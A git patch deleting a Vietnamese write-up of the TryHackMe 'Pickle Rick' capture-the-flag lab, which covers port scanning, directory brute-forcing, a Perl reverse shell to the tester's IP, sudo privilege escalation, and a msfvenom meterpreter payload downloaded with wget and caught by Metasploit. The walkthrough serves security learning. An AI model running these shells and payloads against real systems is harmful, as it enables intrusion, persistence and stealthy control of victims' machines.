From 287c1ae56a62228665b4ed6876403cb99dcb5b8f Mon Sep 17 00:00:00 2001 From: haudang217 <84620744+haudang217@users.noreply.github.com> Date: Mon, 15 Aug 2022 21:40:08 +0700 Subject: [PATCH] =?UTF-8?q?Delete=20Khai=20th=C3=A1c=20Pickle=20Rick=20.ht?= =?UTF-8?q?m?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Tryhackme/Khai thác Pickle Rick .htm | 3026 -------------------------- 1 file changed, 3026 deletions(-) delete mode 100644 Tryhackme/Khai thác Pickle Rick .htm diff --git a/Tryhackme/Khai thác Pickle Rick .htm b/Tryhackme/Khai thác Pickle Rick .htm deleted file mode 100644 index 3373426..0000000 --- a/Tryhackme/Khai thác Pickle Rick .htm +++ /dev/null @@ -1,3026 +0,0 @@ - - -
- - - - - - - - - - - - - - - - -Server
-khai thác:
https://tryhackme.com/room/picklerick
Thực
-hiện start machine để lấy địa chỉ ip của
-mục tiêu cần khai thác:
Ping
-kiểm tra máy Kali có đang cùng mạng với Mục tiêu
-hay ko:
Thực
-hiện scan các port TCP:
nmap -vv -Pn -T4 -sC -sV -O -p- 10.10.176.127
Thực hiện việc scan các
-port UDP
nmap -vv -Pn -T4 -sU -sV 10.10.176.127
Dựa
-trên kết quả quét các port TCP và phiên bản như trên, có
-thể thấy Server đang mở 2 port 22 và 80. Trong đó
-port 22 là service SSH với phiên bản OpenSSH 7.2p2.
Thử
-truy cập bằng ssh đên server -> nhưng thất bại
Tìm
-lỗi liên quan đến phiên bản của SSH này
Dựa
-vào kết quả tìm kiếm, rất có thể Server dính lỗ
-hỏng “Usename Enumeration”. Thông qua tìm hiểu thì lỗi này
-thường chạy rất mất thời gian để
-tìm ra username cho SSH, sau đó lại còn phải brute force tìm
-password cho tài khoản đó mà chưa chắc sẽ tìm ra
-được -> tạm thời bỏ qua.
Chuyển
-đến tiếp theo sẽ là port 80. Tiến hành truy cập
-trang web theo địa chỉ của Server, tìm source:
Và
-src của nó sẽ là:
-
- <!DOCTYPE html> <html lang="en"> <head>
- <title>Rick is sup4r cool</title>
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width,
- initial-scale=1">
- <link rel="stylesheet"
- href="assets/bootstrap.min.css">
- <script src="assets/jquery.min.js"></script>
- <script
- src="assets/bootstrap.min.js"></script>
- <style>
- .jumbotron {
- background-image: url("assets/rickandmorty.jpeg");
- background-size: cover;
- height: 340px; }
- </style> </head> <body>
- <div class="container">
- <div class="jumbotron"></div>
- <h1>Help Morty!</h1></br>
- <p>Listen Morty... I need your help, I've turned myself into a
- pickle again and this time I can't change back!</p></br>
- <p>I need you to <b>*BURRRP*</b>....Morty, logon
- to my computer and find the last three secret ingredients to finish my
- pickle-reverse potion. The only problem is,
- I have no idea what the <b>*BURRRRRRRRP*</b>, password
- was! Help Morty, Help!</p></br>
- </div> <!-- Note to self,
- remember username! Username:
- R1ckRul3s --> </body> </html>
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Phần
-màu xanh lá ở trên là comment trên front end code, đây có thể
-là user dùng để đăng nhập lên chính trang web hoặc
-là dùng đăng nhập SSH. Nhưng tạm thời thì cứ
-để đây và tiếp tục tìm kiếm các thông tin
-khác như các dir ẩn.
Thực
-hiên chạy lệnh:
gobuster dir -w common-web-content.txt -u 10.10.176.127 -t 25 -x
-txt,php,py,sh
· gobuster: tên lệnh
· dir: chế độ tìm file ẩn
· -u: url của server nạn nhân
· -w: tên wordlist cần dùng
· -x: những extension muốn tìm (thường với
-website linux sẽ là txt, php, php5, py, rb, pl, sh)
· -t: số threads chạy trong 1 giây
Có
-thể nhận thấy 2 đường dẫn trả về
-status 200. Tiến hành truy cập 2 trang này.
Với
-url đầu tiên:
Đây
-có thể là password cho username vừa tìm được hồi
-nảy.
Với
-cái thứ 2, chúng ta được một nơi như là
-chỗ để đăng nhập:
Đăng
-nhập thành công thì được một nơi như thế
-này:
Đến
-đây thì test thử một cài câu lệnh xem cái Command Panel
-này hoạt động như thế nào.
TIP QUAN TRỌNG:
Thông
-thường, chúng ta có thể sử dụng trình điều
-khiển này để pentest tiếp, nhưng lúc này lại
-có một vấn đề như thế này. Để có
-thể truy cập vào được trình điều khiển
-server bằng dòng lệnh này, chúng ta cần phải
-đăng nhập thành công vào admin dashboard, vậy điều
-gì sẽ xảy ra nếu như password và username bị thay
-đổi? Khả năng cao là chúng ta sẽ không thể
-truy cập vào trình điều khiển này được nữa
-và phải tìm một lỗi khai thác khác.
Để
-tránh trường hợp trên xảy ra, chúng ta sẽ thiết
-lập một TCP reverse shell. Hay có thể giải thích
-đơn giản rằng chúng ta sẽ thiết lập một
-kết nối TCP từ máy nạn nhân đến máy của
-pentester và chúng ta sẽ điều khiển máy nạn nhân
-thông qua kết nối TCP đó. Như vậy, chúng ta không cần
-phải lo lắng chuyện mất quyền truy cập vào
-trình điểu khiển nữa.
Kiểm
-tra trên server có đang chạy bash, perl, python, ruby gì không?
Chúng
-ta đã xác định được server có chạy những
-loại nào, tiếp theo sẽ tạo một Reverse shell bằng
-những câu lệnh như link sau.( Hoặc link
-này).
Trước
-đó cần phải xác định IP mà máy pentester đã
-dùng VPN tới, đồng thời là một port để
-nhận tín hiệu gửi về. Phần IP thì có sẳn,
-kiểm tra xem một port nào đó có đang được
-mở dùng trên máy dùng câu lệnh nmap, telnet, cat /etc/services.
Chúng
-ta sẽ mượn port 8888 để nhận kết nối
-chỏ về từ máy server. Cách mở port trên máy kali: nc
--nlvp 8888
·
-n: Mang ý
-nghĩa chúng ta sẽ chỉ dùng IPv4 address, không dùng domain
·
--l: Chế
-độ lắng nghe
·
--v: Verbose –
-Cho biết quá trình lắng nghe đang diễn ra thế nào
·
--p: Chỉ
-định port để lắng nghe
Tiếp
-theo sử dụng những câu lệnh để excute từ
-trên server, trong trường hợp này là:
perl -e 'use Socket;$i="10.4.43.108";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
--i");};'
CHÚ Ý: lúc làm lab tới đây thì tắt đi nghỉ,
-nên địa chỉ server của tryhackmy sẽ thay đổi
-khi bật lên làm tiếp:
-
-IP server: 10.10.105.178
-
-IP của máy kali: 10.4.43.108
Sau khi excute câu lệnh trên
-web cùng với thực hiện lắng nghe trên máy kali, kết
-quả nhận được:
Tìm key thứ nhất:
Sau
-khi có kết nối rồi, dùng lệnh kiểm tra các tập
-tin/ thư mục đang hiện hành nên dùng lệnh “ls -la”
Có
-một file dạng txt khả nghi, đọc file đó =>
-key1: mr. meeseek hair
Tìm key thứ 2
Đầu
-tiên di chuyển ra thư mục root và liệt kê ra các
-file/dir hiện hành:
Kiến
-thức thu lụm được:
Ở
-thời điểm này, chỉ cần chú ý đến 3
-directories đó là
·
-home:
-Nơi chứa những directories của những người
-dùng thông thường. Những người dùng thông thường
-sẽ được phép truy cập vào directory home này,
-nhưng không được phép thay đổi những
-directories (ví dụ như thêm hoặc xóa) được chứa
-bên trong directory home.
·
-root:
-Directory của root hay admin, người có quyền quản
-trị cao nhất và chỉ có root/admin mới được
-quyền truy cập vào đây.
·
-tmp: đây
-là directory thường được dùng để lưu
-trữ những dữ liệu tạm thời, và được
-cấp quyền truy cập, sửa đổi và thực
-thi cho tất cả người dùng hệ thống (cả
-root lẫn người dùng thường). Vì lẽ, directory
-này rất hay bị lợi dụng làm nơi chuyển dữ
-liệu hoặc mã độc giữa máy hacker và máy nạn
-nhân. Cũng như hacker có thể chạy file mã độc
-ngay tại directory tmp để tấn công hệ thống.
Di
-chuyển vào thư mục home, liệt kê các user:
Kết
-quả trả về là có 2 người dùng bình thường
-là rick và ubuntu, và chúng ta có quyền truy cập vào cả 2
-directories này. Thế tại sao account www-data lại không có ở
-đây? Vì account www-data là account mặc định được
-hệ thống webserver (ví dụ như Apache hoặc Nginx,
-v.v.) sử dụng cho các tác vụ thường ngày. Đây
-là một account bình thường và không có quyền hạn
-gì đặc biệt.
Vào
-trong user rick để tìm key thứ 2
Tìm key thứ 3
Lúc
-này chuyển qua user còn lại trong thư mục home để
-tìm. Ở đây chúng ta có 2 file để chú ý là
-.sudo_as_admin_successful và .ssh. Nhưng .sudo_as_admin_successful có số
-byte dữ liệu bằng 0 nên đây là một file trống.
-Còn directory .ssh không cho chúng ta quyền truy cập. Có thể
-thử cd đến .ssh sẽ nhận được báo lỗi
-sau
Do
-đó cần phải leo thang đặc quyền để
-có thể truy cập được trong dir này. Privileges
-escalation là một lĩnh vực khá rộng và có vô số
-cách cũng như kỹ thuật để thực hiện.
-Trong đó có 2 cách phổ biến nhất đó là sử dụng:
·
-Kernal
-exploit: Nghĩa là lợi dụng những lỗ hổng bảo
-mật nằm trong nhân Linux hoặc hệ điều hành
-Ubuntu để tiến hành nâng quyền quản trị.
·
-Sudo rights:
-Lợi dụng các công cụ được cấp quyền
-sử dụng để nâng quyền quản trị.
Đầu
-tiên bắt đầu với Kernal exploit, cần phải
-thu thập thông tin liên quan đến OS, kernel như sau:
Kết
-hợp các điều trên có nghĩa là chúng ta cần tìm một
-phần mềm khai thác lỗi cho phép nâng cấp quyền quản
-trị trên Ubuntu 16.04.5 LTS hoặc Kernel 4.4.0-1072-aws được
-viết bằng Bash, Perl, C hoặc có đuôi .elf (file thực
-thi trên Linux).
Tiến
-hành tìm lỗi những không mấy khả quan
Kết
-quả không mấy khả quan nên sẽ chuyển qua cách
-nâng cấp đặc quyền thứ 2 là sudo right.
Kiến
-thức: tất cả mọi thứ từ
-thiết bị, công cụ, câu lệnh, interface, ip address,
-port, v.v trên Linux đều là một file. Do đó, việc bạn
-có thể sử dụng một công cụ ví dụ Perl hay một
-dòng lệnh ví dụ ls được hay không phụ thuộc
-hoàn toàn vào việc bạn có quyền tiếp cận, và thực
-thi với file Perl hoặc file ls hay không. Mỗi account trong hệ
-thống Linux thường sẽ được cấp
-phép sử dụng một số công cụ hoặc câu lệnh
-để thực hiện công việc của họ. Và các
-công cụ hoặc câu lệnh này nếu không được
-quản trị kỹ, chúng hoàn toàn có thể bị lợi
-dụng để nâng cấp lên quyền quản trị
-cao hơn, hoặc thậm chí là quyền quản trị
-root.
Do
-đó, cần kiểm tra quyền của account hiện tại:
Dựa
-vào kết quả trên chúng ta có thể thấy, account của
-chúng ta có quyền sử dụng bất kỳ công cụ và
-câu lệnh nào đang có trên server Pickle Rick mà không cần phải
-cung cấp password của account hiện tại hoặc
-password của account root.
Do
-không yêu cầu về password nên sử dụng câu lệnh
-“sudo su” để nâng cấp đặc quyền lên root
-luôn.
Lúc
-này xem như đã nắm được toàn bộ Server,
-do đó nên đi vòng vòng kiếm flag cho thử thách thứ
-3 thui, kết quả nhận được sẽ là:
ð Giải được toàn bộ flag của
-Pickle Rick
--------------------------------------------------------------------------------------------------------------------------------------------ĐÂY
-LÀ PHẦN KIẾN THỨC LIÊN QUAN NHƯNG NÂNG CAO
-HƠN------------
---------------------------------------------------------------------------------------------------------------------
Trong
-CTF, sau khi hoàn thành phần 3 bên trên là đã có thể coi
-như đã chiến thắng. Nhưng khi đi làm pentest, sẽ
-có khác biệt một tí. Khác biệt đó nằm ở chỗ
-kết nối TCP reverse shell đang dùng vẫn chưa phải
-là một kết nối bền vững và có thể bị
-can thiệp bất cứ lúc nào do kết nối trên có thể
-bị phát hiện bởi Task Manager. Chưa kể
-đường truyền TCP reverse shell không được
-mã hóa, dễ dẫn đến tình trạng lộ thông tin
-nhạy cảm của cả pentester lẫn nạn nhân.
Để
-phòng tránh việc đó, chúng ta sẽ nâng cấp đường
-truyền từ TCP reverse shell thành Meterpreter shell. Ưu
-điểm của Meterpreter shell so với TCP reverse shell
-như sau:
·
-Meterpreter sử
-dụng in-memory DLL injection, nghĩa là nó sẽ chỉ ghi dữ
-liệu trên RAM mà thôi, và không ghi gì vào ổ cứng cả,
-do đó hạn chế việc để lại dấu vết.
·
-Kết nối
-meterpreter không tạo ra process mới mà sẽ tự inject nó
-vào process đã bị tấn công khiến nó gần như
-vô hình trước các chương trình như Task Manager trên
-Windows. Khi process bị meterpreter tấn công bị kill,
-meterpreter sẽ tự động nhảy sang một process
-khác để duy trì kết nối.
·
-Kết nối
-meterpreter được mã hóa.
·
-Do
-meterpreter là một tính năng của Metasploit, sử dụng
-meterpreter cho phép pentester sử dụng luôn các module post-exploitation
-ví dụ như keyblogger, cổng hậu, v.v. có sẵn trên
-Metasploit để tấn công sâu hơn vào hệ thống của
-nạn nhân.
Chúng
-ta sẽ bắt đầu nâng cấp đường truyền
-từ TCP reverse shell thành Meterpreter shell.
Sử
-dụng câu lệnh sau để tạo ra một file meterpreter
msfvenom
--p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o
-shell.elf
Trong
-đó:
·
-msfvenom: Tên câu lệnh
·
--p
-linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết
-nối sẽ sử dụng
·
-LHOST và
-LPORT: Địa chỉ IP và
-port dùng để nhận shell trên máy Kali của hacker
·
--f: Format của dữ liệu đầu ra. Ở
-đây chọn elf là extension file thực thi của Linux.
·
--o: Xuất ra file có tên là shell.elf
Tiếp
-theo sử dụng câu lệnh
Python3 -m http.server 8000
Câu
-lệnh trên sử dụng một module của Python có tên là
-SimpleHTTPServer để biến directory hiện tại thành
-một webserver cho phép trao đổi file tại port 8000 với
-địa chỉ IP là IP của hacker. Webserver này có thể
-được truy cập bởi tất cả các máy ở
-trong cùng mạng.
Sử
-dụng câu lệnh sau trên server để download
wget http://10.4.43.108:8000/shell.elf
Thực
-hiện cấp quyền thực thi trên máy Server và excute file
-đó
Quay
-lại trên máy kali, tiến hành dùng metasploit để nhận
-kết nối trỏ về
msfconsole
use
-exploit/multi/handler
set
-LHOST <IP của bạn>
set
-LPORT <Port đã dùng trong command msfvenom bên trên>
set
-PAYLOAD linux/x86/meterpreter/reverse_tcp
exploit
Kết
-quả cuối cùng nhận được sẽ là